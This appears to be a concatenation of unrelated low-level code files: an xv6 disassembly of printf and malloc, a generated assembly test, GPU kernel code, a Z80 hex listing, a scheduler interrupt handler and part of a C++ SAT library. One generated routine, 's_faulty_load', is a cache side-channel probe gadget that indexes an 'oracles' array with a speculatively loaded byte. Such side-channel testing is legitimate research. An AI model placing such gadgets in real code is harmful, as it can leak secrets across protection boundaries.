659: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
65c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
660: 75 2c jne 68e <printf+0x6a>
if(c == '%'){
662: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
666: 75 0c jne 674 <printf+0x50>
state = '%';
668: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
66f: e9 27 01 00 00 jmp 79b <printf+0x177>
} else {
putc(fd, c);
674: 8b 45 e4 mov -0x1c(%ebp),%eax
677: 0f be c0 movsbl %al,%eax
67a: 83 ec 08 sub $0x8,%esp
67d: 50 push %eax
67e: ff 75 08 pushl 0x8(%ebp)
681: e8 c7 fe ff ff call 54d <putc>
686: 83 c4 10 add $0x10,%esp
689: e9 0d 01 00 00 jmp 79b <printf+0x177>
}
} else if(state == '%'){
68e: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
692: 0f 85 03 01 00 00 jne 79b <printf+0x177>
if(c == 'd'){
698: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
69c: 75 1e jne 6bc <printf+0x98>
printint(fd, *ap, 10, 1);
69e: 8b 45 e8 mov -0x18(%ebp),%eax
6a1: 8b 00 mov (%eax),%eax
6a3: 6a 01 push $0x1
6a5: 6a 0a push $0xa
6a7: 50 push %eax
6a8: ff 75 08 pushl 0x8(%ebp)
6ab: e8 c0 fe ff ff call 570 <printint>
6b0: 83 c4 10 add $0x10,%esp
ap++;
6b3: 83 45 e8 04 addl $0x4,-0x18(%ebp)
6b7: e9 d8 00 00 00 jmp 794 <printf+0x170>
} else if(c == 'x' || c == 'p'){
6bc: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
6c0: 74 06 je 6c8 <printf+0xa4>
6c2: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
6c6: 75 1e jne 6e6 <printf+0xc2>
printint(fd, *ap, 16, 0);
6c8: 8b 45 e8 mov -0x18(%ebp),%eax
6cb: 8b 00 mov (%eax),%eax
6cd: 6a 00 push $0x0
6cf: 6a 10 push $0x10
6d1: 50 push %eax
6d2: ff 75 08 pushl 0x8(%ebp)
6d5: e8 96 fe ff ff call 570 <printint>
6da: 83 c4 10 add $0x10,%esp
ap++;
6dd: 83 45 e8 04 addl $0x4,-0x18(%ebp)
6e1: e9 ae 00 00 00 jmp 794 <printf+0x170>
} else if(c == 's'){
6e6: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
6ea: 75 43 jne 72f <printf+0x10b>
s = (char*)*ap;
6ec: 8b 45 e8 mov -0x18(%ebp),%eax
6ef: 8b 00 mov (%eax),%eax
6f1: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
6f4: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
6f8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6fc: 75 25 jne 723 <printf+0xff>
s = "(null)";
6fe: c7 45 f4 17 0a 00 00 movl $0xa17,-0xc(%ebp)
while(*s != 0){
705: eb 1c jmp 723 <printf+0xff>
putc(fd, *s);
707: 8b 45 f4 mov -0xc(%ebp),%eax
70a: 0f b6 00 movzbl (%eax),%eax
70d: 0f be c0 movsbl %al,%eax
710: 83 ec 08 sub $0x8,%esp
713: 50 push %eax
714: ff 75 08 pushl 0x8(%ebp)
717: e8 31 fe ff ff call 54d <putc>
71c: 83 c4 10 add $0x10,%esp
s++;
71f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
723: 8b 45 f4 mov -0xc(%ebp),%eax
726: 0f b6 00 movzbl (%eax),%eax
729: 84 c0 test %al,%al
72b: 75 da jne 707 <printf+0xe3>
72d: eb 65 jmp 794 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
72f: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
733: 75 1d jne 752 <printf+0x12e>
putc(fd, *ap);
735: 8b 45 e8 mov -0x18(%ebp),%eax
738: 8b 00 mov (%eax),%eax
73a: 0f be c0 movsbl %al,%eax
73d: 83 ec 08 sub $0x8,%esp
740: 50 push %eax
741: ff 75 08 pushl 0x8(%ebp)
744: e8 04 fe ff ff call 54d <putc>
749: 83 c4 10 add $0x10,%esp
ap++;
74c: 83 45 e8 04 addl $0x4,-0x18(%ebp)
750: eb 42 jmp 794 <printf+0x170>
} else if(c == '%'){
752: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
756: 75 17 jne 76f <printf+0x14b>
putc(fd, c);
758: 8b 45 e4 mov -0x1c(%ebp),%eax
75b: 0f be c0 movsbl %al,%eax
75e: 83 ec 08 sub $0x8,%esp
761: 50 push %eax
762: ff 75 08 pushl 0x8(%ebp)
765: e8 e3 fd ff ff call 54d <putc>
76a: 83 c4 10 add $0x10,%esp
76d: eb 25 jmp 794 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
76f: 83 ec 08 sub $0x8,%esp
772: 6a 25 push $0x25
774: ff 75 08 pushl 0x8(%ebp)
777: e8 d1 fd ff ff call 54d <putc>
77c: 83 c4 10 add $0x10,%esp
putc(fd, c);
77f: 8b 45 e4 mov -0x1c(%ebp),%eax
782: 0f be c0 movsbl %al,%eax
785: 83 ec 08 sub $0x8,%esp
788: 50 push %eax
789: ff 75 08 pushl 0x8(%ebp)
78c: e8 bc fd ff ff call 54d <putc>
791: 83 c4 10 add $0x10,%esp
}
state = 0;
794: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
79b: 83 45 f0 01 addl $0x1,-0x10(%ebp)
79f: 8b 55 0c mov 0xc(%ebp),%edx
7a2: 8b 45 f0 mov -0x10(%ebp),%eax
7a5: 01 d0 add %edx,%eax
7a7: 0f b6 00 movzbl (%eax),%eax
7aa: 84 c0 test %al,%al
7ac: 0f 85 94 fe ff ff jne 646 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
7b2: 90 nop
7b3: c9 leave
7b4: c3 ret
000007b5 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
7b5: 55 push %ebp
7b6: 89 e5 mov %esp,%ebp
7b8: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
7bb: 8b 45 08 mov 0x8(%ebp),%eax
7be: 83 e8 08 sub $0x8,%eax
7c1: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7c4: a1 a8 0c 00 00 mov 0xca8,%eax
7c9: 89 45 fc mov %eax,-0x4(%ebp)
7cc: eb 24 jmp 7f2 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7ce: 8b 45 fc mov -0x4(%ebp),%eax
7d1: 8b 00 mov (%eax),%eax
7d3: 3b 45 fc cmp -0x4(%ebp),%eax
7d6: 77 12 ja 7ea <free+0x35>
7d8: 8b 45 f8 mov -0x8(%ebp),%eax
7db: 3b 45 fc cmp -0x4(%ebp),%eax
7de: 77 24 ja 804 <free+0x4f>
7e0: 8b 45 fc mov -0x4(%ebp),%eax
7e3: 8b 00 mov (%eax),%eax
7e5: 3b 45 f8 cmp -0x8(%ebp),%eax
7e8: 77 1a ja 804 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7ea: 8b 45 fc mov -0x4(%ebp),%eax
7ed: 8b 00 mov (%eax),%eax
7ef: 89 45 fc mov %eax,-0x4(%ebp)
7f2: 8b 45 f8 mov -0x8(%ebp),%eax
7f5: 3b 45 fc cmp -0x4(%ebp),%eax
7f8: 76 d4 jbe 7ce <free+0x19>
7fa: 8b 45 fc mov -0x4(%ebp),%eax
7fd: 8b 00 mov (%eax),%eax
7ff: 3b 45 f8 cmp -0x8(%ebp),%eax
802: 76 ca jbe 7ce <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
804: 8b 45 f8 mov -0x8(%ebp),%eax
807: 8b 40 04 mov 0x4(%eax),%eax
80a: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
811: 8b 45 f8 mov -0x8(%ebp),%eax
814: 01 c2 add %eax,%edx
816: 8b 45 fc mov -0x4(%ebp),%eax
819: 8b 00 mov (%eax),%eax
81b: 39 c2 cmp %eax,%edx
81d: 75 24 jne 843 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
81f: 8b 45 f8 mov -0x8(%ebp),%eax
822: 8b 50 04 mov 0x4(%eax),%edx
825: 8b 45 fc mov -0x4(%ebp),%eax
828: 8b 00 mov (%eax),%eax
82a: 8b 40 04 mov 0x4(%eax),%eax
82d: 01 c2 add %eax,%edx
82f: 8b 45 f8 mov -0x8(%ebp),%eax
832: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
835: 8b 45 fc mov -0x4(%ebp),%eax
838: 8b 00 mov (%eax),%eax
83a: 8b 10 mov (%eax),%edx
83c: 8b 45 f8 mov -0x8(%ebp),%eax
83f: 89 10 mov %edx,(%eax)
841: eb 0a jmp 84d <free+0x98>
} else
bp->s.ptr = p->s.ptr;
843: 8b 45 fc mov -0x4(%ebp),%eax
846: 8b 10 mov (%eax),%edx
848: 8b 45 f8 mov -0x8(%ebp),%eax
84b: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
84d: 8b 45 fc mov -0x4(%ebp),%eax
850: 8b 40 04 mov 0x4(%eax),%eax
853: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
85a: 8b 45 fc mov -0x4(%ebp),%eax
85d: 01 d0 add %edx,%eax
85f: 3b 45 f8 cmp -0x8(%ebp),%eax
862: 75 20 jne 884 <free+0xcf>
p->s.size += bp->s.size;
864: 8b 45 fc mov -0x4(%ebp),%eax
867: 8b 50 04 mov 0x4(%eax),%edx
86a: 8b 45 f8 mov -0x8(%ebp),%eax
86d: 8b 40 04 mov 0x4(%eax),%eax
870: 01 c2 add %eax,%edx
872: 8b 45 fc mov -0x4(%ebp),%eax
875: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
878: 8b 45 f8 mov -0x8(%ebp),%eax
87b: 8b 10 mov (%eax),%edx
87d: 8b 45 fc mov -0x4(%ebp),%eax
880: 89 10 mov %edx,(%eax)
882: eb 08 jmp 88c <free+0xd7>
} else
p->s.ptr = bp;
884: 8b 45 fc mov -0x4(%ebp),%eax
887: 8b 55 f8 mov -0x8(%ebp),%edx
88a: 89 10 mov %edx,(%eax)
freep = p;
88c: 8b 45 fc mov -0x4(%ebp),%eax
88f: a3 a8 0c 00 00 mov %eax,0xca8
}
894: 90 nop
895: c9 leave
896: c3 ret
00000897 <morecore>:
static Header*
morecore(uint nu)
{
897: 55 push %ebp
898: 89 e5 mov %esp,%ebp
89a: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
89d: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
8a4: 77 07 ja 8ad <morecore+0x16>
nu = 4096;
8a6: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
8ad: 8b 45 08 mov 0x8(%ebp),%eax
8b0: c1 e0 03 shl $0x3,%eax
8b3: 83 ec 0c sub $0xc,%esp
8b6: 50 push %eax
8b7: e8 19 fc ff ff call 4d5 <sbrk>
8bc: 83 c4 10 add $0x10,%esp
8bf: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
8c2: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
8c6: 75 07 jne 8cf <morecore+0x38>
return 0;
8c8: b8 00 00 00 00 mov $0x0,%eax
8cd: eb 26 jmp 8f5 <morecore+0x5e>
hp = (Header*)p;
8cf: 8b 45 f4 mov -0xc(%ebp),%eax
8d2: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
8d5: 8b 45 f0 mov -0x10(%ebp),%eax
8d8: 8b 55 08 mov 0x8(%ebp),%edx
8db: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
8de: 8b 45 f0 mov -0x10(%ebp),%eax
8e1: 83 c0 08 add $0x8,%eax
8e4: 83 ec 0c sub $0xc,%esp
8e7: 50 push %eax
8e8: e8 c8 fe ff ff call 7b5 <free>
8ed: 83 c4 10 add $0x10,%esp
return freep;
8f0: a1 a8 0c 00 00 mov 0xca8,%eax
}
8f5: c9 leave
8f6: c3 ret
000008f7 <malloc>:
void*
malloc(uint nbytes)
{
8f7: 55 push %ebp
8f8: 89 e5 mov %esp,%ebp
8fa: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
8fd: 8b 45 08 mov 0x8(%ebp),%eax
900: 83 c0 07 add $0x7,%eax
903: c1 e8 03 shr $0x3,%eax
906: 83 c0 01 add $0x1,%eax
909: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
90c: a1 a8 0c 00 00 mov 0xca8,%eax
911: 89 45 f0 mov %eax,-0x10(%ebp)
914: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
918: 75 23 jne 93d <malloc+0x46>
base.s.ptr = freep = prevp = &base;
91a: c7 45 f0 a0 0c 00 00 movl $0xca0,-0x10(%ebp)
921: 8b 45 f0 mov -0x10(%ebp),%eax
924: a3 a8 0c 00 00 mov %eax,0xca8
929: a1 a8 0c 00 00 mov 0xca8,%eax
92e: a3 a0 0c 00 00 mov %eax,0xca0
base.s.size = 0;
933: c7 05 a4 0c 00 00 00 movl $0x0,0xca4
93a: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
93d: 8b 45 f0 mov -0x10(%ebp),%eax
940: 8b 00 mov (%eax),%eax
942: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
945: 8b 45 f4 mov -0xc(%ebp),%eax
948: 8b 40 04 mov 0x4(%eax),%eax
94b: 3b 45 ec cmp -0x14(%ebp),%eax
94e: 72 4d jb 99d <malloc+0xa6>
if(p->s.size == nunits)
950: 8b 45 f4 mov -0xc(%ebp),%eax
953: 8b 40 04 mov 0x4(%eax),%eax
956: 3b 45 ec cmp -0x14(%ebp),%eax
959: 75 0c jne 967 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
95b: 8b 45 f4 mov -0xc(%ebp),%eax
95e: 8b 10 mov (%eax),%edx
960: 8b 45 f0 mov -0x10(%ebp),%eax
963: 89 10 mov %edx,(%eax)
965: eb 26 jmp 98d <malloc+0x96>
else {
p->s.size -= nunits;
967: 8b 45 f4 mov -0xc(%ebp),%eax
96a: 8b 40 04 mov 0x4(%eax),%eax
96d: 2b 45 ec sub -0x14(%ebp),%eax
970: 89 c2 mov %eax,%edx
972: 8b 45 f4 mov -0xc(%ebp),%eax
975: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
978: 8b 45 f4 mov -0xc(%ebp),%eax
97b: 8b 40 04 mov 0x4(%eax),%eax
97e: c1 e0 03 shl $0x3,%eax
981: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
984: 8b 45 f4 mov -0xc(%ebp),%eax
987: 8b 55 ec mov -0x14(%ebp),%edx
98a: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
98d: 8b 45 f0 mov -0x10(%ebp),%eax
990: a3 a8 0c 00 00 mov %eax,0xca8
return (void*)(p + 1);
995: 8b 45 f4 mov -0xc(%ebp),%eax
998: 83 c0 08 add $0x8,%eax
99b: eb 3b jmp 9d8 <malloc+0xe1>
}
if(p == freep)
99d: a1 a8 0c 00 00 mov 0xca8,%eax
9a2: 39 45 f4 cmp %eax,-0xc(%ebp)
9a5: 75 1e jne 9c5 <malloc+0xce>
if((p = morecore(nunits)) == 0)
9a7: 83 ec 0c sub $0xc,%esp
9aa: ff 75 ec pushl -0x14(%ebp)
9ad: e8 e5 fe ff ff call 897 <morecore>
9b2: 83 c4 10 add $0x10,%esp
9b5: 89 45 f4 mov %eax,-0xc(%ebp)
9b8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
9bc: 75 07 jne 9c5 <malloc+0xce>
return 0;
9be: b8 00 00 00 00 mov $0x0,%eax
9c3: eb 13 jmp 9d8 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
9c5: 8b 45 f4 mov -0xc(%ebp),%eax
9c8: 89 45 f0 mov %eax,-0x10(%ebp)
9cb: 8b 45 f4 mov -0xc(%ebp),%eax
9ce: 8b 00 mov (%eax),%eax
9d0: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
9d3: e9 6d ff ff ff jmp 945 <malloc+0x4e>
}
9d8: c9 leave
9d9: c3 ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xa3dd, %r15
nop
sub $52909, %r11
vmovups (%r15), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rbp
nop
nop
nop
nop
xor %r8, %r8
lea addresses_normal_ht+0x11e79, %r12
nop
nop
dec %r10
mov (%r12), %esi
nop
nop
inc %rsi
lea addresses_A_ht+0xa339, %r15
inc %r10
mov $0x6162636465666768, %rsi
movq %rsi, (%r15)
dec %r8
lea addresses_A_ht+0xb039, %r12
nop
nop
add %r11, %r11
mov $0x6162636465666768, %r15
movq %r15, %xmm1
movups %xmm1, (%r12)
nop
sub %rsi, %rsi
lea addresses_normal_ht+0xa7b9, %rsi
lea addresses_A_ht+0xbb39, %rdi
clflush (%rsi)
xor %r8, %r8
mov $95, %rcx
rep movsl
nop
nop
nop
cmp $20891, %r11
lea addresses_A_ht+0x6b39, %r12
nop
nop
nop
nop
nop
xor %r15, %r15
mov (%r12), %rdi
nop
nop
nop
and %r8, %r8
lea addresses_UC_ht+0x6479, %r8
nop
nop
dec %r11
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
vmovups %ymm1, (%r8)
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0xaff1, %rsi
lea addresses_WC_ht+0x8ccd, %rdi
nop
nop
nop
nop
add %r8, %r8
mov $109, %rcx
rep movsw
nop
nop
nop
nop
and $25018, %r15
lea addresses_UC_ht+0x122d, %rsi
lea addresses_A_ht+0x15a39, %rdi
nop
nop
nop
nop
nop
and $53669, %r12
mov $111, %rcx
rep movsw
nop
nop
nop
cmp $21860, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r9
push %rbp
push %rbx
// Store
lea addresses_D+0xd8e5, %r11
nop
nop
nop
add %r12, %r12
mov $0x5152535455565758, %rbx
movq %rbx, %xmm5
movups %xmm5, (%r11)
nop
nop
xor %r9, %r9
// Faulty Load
lea addresses_D+0x8b39, %rbx
nop
nop
nop
nop
nop
and %r10, %r10
vmovups (%rbx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbp
lea oracles, %rbx
and $0xff, %rbp
shlq $12, %rbp
mov (%rbx,%rbp,1), %rbp
pop %rbx
pop %rbp
pop %r9
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'36': 39}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
mov (1|M0) r22.4<1>:ud 0x1000100:ud
mov (4|M0) acc0.0<1>:w 0x2406:v
add (4|M0) acc0.0<1>:w acc0.0<4;4,1>:w 0x40:uw
shl (4|M0) r22.0<1>:w acc0.0<4;4,1>:w 0x5:uw
(W&~f0.1)jmpi L640
L80:
mov (8|M0) r16.0<1>:ud r0.0<8;8,1>:ud
mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud
cmp (1|M0) (eq)f1.0 null.0<1>:w r24.2<0;1,0>:ub 0x1:uw
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x42EC100:ud
mov (1|M0) r16.2<1>:ud 0xE000:ud
(~f1.0) mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r10.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r10.3<0;1,0>:f
send (1|M0) r64:uw r16:ub 0x2 a0.0
(~f1.0) mov (1|M0) r17.2<1>:f r10.6<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r10.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r10.6<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r10.3<0;1,0>:f
send (1|M0) r72:uw r16:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x44EC201:ud
mov (1|M0) r16.2<1>:ud 0xC000:ud
(~f1.0) mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r10.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r10.3<0;1,0>:f
send (1|M0) r68:uw r16:ub 0x2 a0.0
(~f1.0) mov (1|M0) r17.2<1>:f r10.6<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r10.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r10.6<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r10.3<0;1,0>:f
send (1|M0) r76:uw r16:ub 0x2 a0.0
mov (16|M0) r66.0<1>:uw 0xFFFF:uw
mov (16|M0) r67.0<1>:uw 0xFFFF:uw
mov (16|M0) r74.0<1>:uw 0xFFFF:uw
mov (16|M0) r75.0<1>:uw 0xFFFF:uw
mov (1|M0) a0.8<1>:uw 0x800:uw
mov (1|M0) a0.9<1>:uw 0x880:uw
mov (1|M0) a0.10<1>:uw 0x8C0:uw
add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw
L640:
nop
|
0D00 DD 21 80 0E
0D04 FD 21 00 0E
0D08 0E 10
0D0A DD 46 00
0D0D FD 70 00
0D10 DD 23
0D12 FD 23
0D14 0D
0D15 C2 0A 0D
0D18 DF 5B
|
.code64
.extern scheduler_nextThreadData
.extern scheduler_selectNext
.extern scheduler_sendEOI
.global scheduler_HandleInterrupt
scheduler_HandleInterrupt:
#save rdi and then rax to give us some scratch registers
push %rdi
mov scheduler_nextThreadData, %rdi
#check if current thread needs its registers saved
test %rdi, %rdi
jz NoSaveRegs
#push all regs onto the stack
push %rax
push %rbx
push %rcx
push %rdx
push %rsi
#skip rdi as its actually pushed first
#skip rsp as we have to save it externally, otherwise we could never come back here
push %rbp
push %r8
push %r9
push %r10
push %r11
push %r12
push %r13
push %r14
push %r15
#now save rsp so we can return to this data
mov %rsp, scheduler_nextThreadData
jmp RestoreRegs
NoSaveRegs:
#just clean the stack in that case
#NOTE: this actually does nothing, because we havent saved the current stack pointer, so we cant return here.
pop %rax
RestoreRegs:
#now that we dont need to worry about corrupting registers, we can call into cpp-land
call scheduler_selectNext
call scheduler_sendEOI
#load fresh thread info, start operating on their stack
mov scheduler_nextThreadData, %rsp
#load new stack pointer, pop all regs back into place, and issue iret (previous interrupt_frame should be in place)
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
pop %r9
pop %r8
pop %rbp
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %rdi
iretq
|
/* easy: C++ ESOP library
* Copyright (C) 2018 EPFL
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
#pragma once
#include <easy/sat/sat_solver.hpp>
#include <easy/utils/dynamic_bitset.hpp>
#include <queue>
namespace easy::sat2 {
class cnf_from_xcnf {
public:
explicit cnf_from_xcnf(int& sid,
std::vector<std::vector<int>> const& xor_clauses,
uint32_t num_vars)
: _sid(sid), _xor_clauses(xor_clauses), _num_vars(num_vars) {
auto matrix = make_matrix(xor_clauses);
// simplify_matrix( matrix );
cnf_from_matrix(_clauses, matrix);
// cnf_from_xor_clauses( _clauses, xor_clauses );
}
std::vector<utils::dynamic_bitset<>>
make_matrix(std::vector<std::vector<int>> const& xor_clauses) {
std::vector<utils::dynamic_bitset<>> matrix;
for (const auto& cl : xor_clauses) {
utils::dynamic_bitset<> row;
row.resize(_num_vars);
auto sum = 0u;
for (const auto& l : cl) {
assert(abs(l) < _num_vars);
row.set_bit(abs(l) - 1);
sum += l < 0;
}
if (sum % 2 == 1)
row.set_bit(row.num_bits() - 1);
matrix.emplace_back(row);
}
return matrix;
}
void simplify_matrix(std::vector<utils::dynamic_bitset<>>& matrix) {
auto const num_rows = matrix.size();
auto index = 0u;
for (auto i = 0u; i < num_rows; ++i) {
/* find next row */
auto next_row = i;
if (!matrix[i][index]) {
for (auto k = i + 1; k < num_rows; ++k) {
if (matrix[k][index]) {
++index;
continue;
}
}
if (!matrix[next_row][i]) {
++index;
continue;
}
}
/* swap current i and next_row */
if (next_row != i) {
// std::cout << "swap " << i << " and " << next_row <<
// std::endl;
for (auto j = 0u; j < matrix[i].num_bits(); ++j) {
bool const temp = matrix[i][j];
if (matrix[next_row][j])
